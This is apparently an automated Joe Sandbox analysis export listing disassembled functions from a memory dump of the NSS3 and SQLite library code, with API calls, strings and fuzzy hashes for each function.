pLabel = 0x%p, xrefs: 6C792D4F
slotID = 0x%x, xrefs: 6C792D02
C_InitToken, xrefs: 6C792CE7

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: a010185ab821ec1cf8dfe17b5583a802188876c8585e531fd0484ddfbaa44e9a
Instruction ID: 5c1e6c7ca20a73a36f4f27d71646a70e055dd4e7d89dd23336f9a2750f6aac75
Opcode Fuzzy Hash: a010185ab821ec1cf8dfe17b5583a802188876c8585e531fd0484ddfbaa44e9a
Instruction Fuzzy Hash: 2D21C175201144AFDB30AB54EF8DE593BB1EB8231DF444431E50893A62DB31AA58DBA1

Function 6C870EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C752357), ref: 6C870EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C752357), ref: 6C870EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C870EE6

Part of subcall function 6C8709D0: PR_Now.NSS3 ref: 6C870A22
Part of subcall function 6C8709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C870A35
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C870A66
Part of subcall function 6C8709D0: PR_GetCurrentThread.NSS3 ref: 6C870A70
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C870A9D
Part of subcall function 6C8709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C870AC8
Part of subcall function 6C8709D0: PR_vsmprintf.NSS3(?,?), ref: 6C870AE8
Part of subcall function 6C8709D0: EnterCriticalSection.KERNEL32(?), ref: 6C870B19
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870B48
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870C76
Part of subcall function 6C8709D0: PR_LogFlush.NSS3 ref: 6C870C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C870EFA

Part of subcall function 6C75AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C75AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C870ED9, 6C870EE5, 6C870F06, 6C870F0B
Aborting, xrefs: 6C870EB3

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 90483d4fe2c2bdc03bb90de4d0fe657d6cf3b9fa862c79edb79bcc248de05f7f
Instruction ID: 55ade587c517418d26e493d8f84c53cd65c1d819c60f65f248adbbe575d6df01
Opcode Fuzzy Hash: 90483d4fe2c2bdc03bb90de4d0fe657d6cf3b9fa862c79edb79bcc248de05f7f
Instruction Fuzzy Hash: 31F0A4B9A001187BDA213BA49C4AC9B3F2DDF42269F444434FD0956603EB76E92497F6

Function 6C7D4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C7D4DCB

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C7D4DE1

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C7D4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7D4E59

Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C89300C,00000000), ref: 6C7D4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C7D4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C7D4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7D521A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b81d753dfc1ecee39bb4c610b03f004ce015f8b539ad1bbfe8381b97a8bfd36d
Instruction ID: be7157087265defe6580fc0170d8b0ef6d94041a64e1ad59f9ce5b04781bb07d
Opcode Fuzzy Hash: b81d753dfc1ecee39bb4c610b03f004ce015f8b539ad1bbfe8381b97a8bfd36d
Instruction Fuzzy Hash: E5F18DB1E00209CFDB04CF58E9407ADB7B2FF44358F268169E915AB781E735E981CB91

Function 6C702E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C702F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C702FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C703005
memcpy.VCRUNTIME140(?,?,?), ref: 6C7030EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C703131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C703178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C703022, 6C703156, 6C703162, 6C70318A, 6C703196, 6C7031A2, 6C7031AE, 6C7031BA, 6C7031C6
%s at line %d of [%.10s], xrefs: 6C703171
database corruption, xrefs: 6C70316C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 4f9e20137fd4f56b116a7a518635b3f6a6cbff6e1dadf6c35d1538f71aba6766
Instruction ID: 9892af0d37afb447ea9f2e1e840e7844b161e6c7f430713d7d0e5956acf83a05
Opcode Fuzzy Hash: 4f9e20137fd4f56b116a7a518635b3f6a6cbff6e1dadf6c35d1538f71aba6766
Instruction Fuzzy Hash: 97B1B3B0F056199BCB18CF9DCA84AEEB7F2BF48304F144429E945B7B46D375A941CBA0

Function 6C6E2400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6C6E24EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6C6E2315), ref: 6C6E254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6C6E2315), ref: 6C6E256C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6E24F4, 6C6E2557
%s at line %d of [%.10s], xrefs: 6C6E2566
API called with NULL prepared statement, xrefs: 6C6E253C
bind on a busy prepared statement: [%s], xrefs: 6C6E24E6
API called with finalized prepared statement, xrefs: 6C6E2543, 6C6E254D
misuse, xrefs: 6C6E2561

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: d18bef9d58e4393960c7c6007295dbc96aeb6bf09f0c62dccedeeb5684d0c9da
Instruction ID: 249f24bc98fe4ca845cddcc00a0f1b7046e338d2d1010212923f8193dfa61437
Opcode Fuzzy Hash: d18bef9d58e4393960c7c6007295dbc96aeb6bf09f0c62dccedeeb5684d0c9da
Instruction Fuzzy Hash: 81411771709602CBD7248F18ED98BA673B7AF89318F15093EE8054BB40D736E815C795

Function 6C7BA470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7BA4A6

Part of subcall function 6C7C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C08B4

PORT_Alloc_Util.NSS3(?), ref: 6C7BA4EC

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C7BA527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6C7BA56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C7BA583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7BA596
free.MOZGLUE(?), ref: 6C7BA5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7BA5B6

Strings

^jwl, xrefs: 6C7BA475

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID: ^jwl
API String ID: 3906949479-1806445369
Opcode ID: 078b4d8d4285b27e66266ee5b1f18d8ba08d622665a30b746753c8ec1a70e80a
Instruction ID: 7aa5d579701dbafbdb50bb93ee8d7ae302e2de4744120df9e91616067ea26068
Opcode Fuzzy Hash: 078b4d8d4285b27e66266ee5b1f18d8ba08d622665a30b746753c8ec1a70e80a
Instruction Fuzzy Hash: 6A412871A002469FDB10DF59CE44B9ABBB1BF50318F14C478D8696BB42E731EA19C7E2

Function 6C6E6600 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,NULL), ref: 6C6E6C66
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0001F490,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6E6C83

Strings

invalid, xrefs: 6C6E6C95
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6E6C6E
%s at line %d of [%.10s], xrefs: 6C6E6C7D
unopened, xrefs: 6C6E6C9F
API call with %s database connection pointer, xrefs: 6C6E6C60
NULL, xrefs: 6C6E6C55, 6C6E6C5F
misuse, xrefs: 6C6E6C78

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 632333372-4248800309
Opcode ID: d2dae0886893357ec84fc1a6e685ce48e1ddff7d870cf10d273409e8a8088312
Instruction ID: 3104ad00baecd977ce3066a9566031e4bcd9f7d8c51a823e57fa749daaaa3bef
Opcode Fuzzy Hash: d2dae0886893357ec84fc1a6e685ce48e1ddff7d870cf10d273409e8a8088312
Instruction Fuzzy Hash: E6315A71B0A1088BDB108E698D447EB3BA6FB4931CF14452ADA18DBB85D730D94583C9

Function 6C796C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C796C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C796C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C796CA3

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C796CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C796CD5

Strings

C_DigestInit, xrefs: 6C796C61
hSession = 0x%x, xrefs: 6C796C7E, 6C796C8E
pMechanism = 0x%p, xrefs: 6C796CD0
(CK_INVALID_HANDLE), xrefs: 6C796C9C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 93a8253affa4dca7fe9047eaf410dd16fa5ea297fc54c8533be4c11ecb447e67
Instruction ID: cacc087da5eb5e657cff5c0dc011031c4c0fc4e461bff8add26bfc711a993fe3
Opcode Fuzzy Hash: 93a8253affa4dca7fe9047eaf410dd16fa5ea297fc54c8533be4c11ecb447e67
Instruction Fuzzy Hash: A42136706011049BCB709B29AF8DB9E37B5EB8331DF454436E40997B52EB34AA48C7E2

Function 6C760F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C760F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C760F84

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C77F59B,6C88890C,?), ref: 6C760FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C760FC1

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C760FDB
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C760FEF
PL_FreeArenaPool.NSS3(?), ref: 6C761001
PL_FinishArenaPool.NSS3(?), ref: 6C761009

Strings

security, xrefs: 6C760F5C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: f9633d6e4ed8a3a6b70aa64d25a2e7c9af2289fc7fae66b5833776560da37f95
Instruction ID: a732c657dac904d16dc6c722e5b317dcc6d21e0809f78cf305fa4a8cbac45d94
Opcode Fuzzy Hash: f9633d6e4ed8a3a6b70aa64d25a2e7c9af2289fc7fae66b5833776560da37f95
Instruction Fuzzy Hash: 2321E3B1A04204AFE7109F25DE88AAAB7A4EF45758F008529FC1896B41F731E649CBD2

Function 6C766DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C767D8F,6C767D8F,?,?), ref: 6C766DC8

Part of subcall function 6C7BFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C7BFE08
Part of subcall function 6C7BFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C7BFE1D
Part of subcall function 6C7BFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C7BFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C767D8F,?,?), ref: 6C766DD5

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C888FA0,00000000,?,?,?,?,6C767D8F,?,?), ref: 6C766DF7

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C766E35

Part of subcall function 6C7BFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C7BFE29
Part of subcall function 6C7BFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C7BFE3D
Part of subcall function 6C7BFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C7BFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C766E4C

Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C888FE0,00000000), ref: 6C766E82

Part of subcall function 6C766AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C76B21D,00000000,00000000,6C76B219,?,6C766BFB,00000000,?,00000000,00000000,?,?,?,6C76B21D), ref: 6C766B01
Part of subcall function 6C766AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C766B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C766F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C766F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C888FE0,00000000), ref: 6C766F6B
PR_SetError.NSS3(FFFFE005,00000000,6C767D8F,?,?), ref: 6C766FE1

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 2c4884ec62234b06679f089e9f8b332ee1f2f15eb499724cdfb9b5194493a589
Instruction ID: 5c767cad7652662542734f32c451812099acfd814a21e76bb71263242b847cda
Opcode Fuzzy Hash: 2c4884ec62234b06679f089e9f8b332ee1f2f15eb499724cdfb9b5194493a589
Instruction Fuzzy Hash: CD717075E106469FDB00CF16CE44AEAB7A4BF54348F154629EC18D7B11F770EA94CB90

Function 6C7A0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7A1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7A1085
PK11_GetAllTokens.NSS3 ref: 6C7A10B1
free.MOZGLUE(?), ref: 6C7A1107
PR_SetError.NSS3(00000000,00000000), ref: 6C7A1172
free.MOZGLUE(?), ref: 6C7A1182
free.MOZGLUE(?), ref: 6C7A11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7A11C5

Part of subcall function 6C7A52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C77EAC5,00000001), ref: 6C7A52DF
Part of subcall function 6C7A52C0: EnterCriticalSection.KERNEL32(?), ref: 6C7A52F3
Part of subcall function 6C7A52C0: PR_Unlock.NSS3(?), ref: 6C7A5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7A11D3
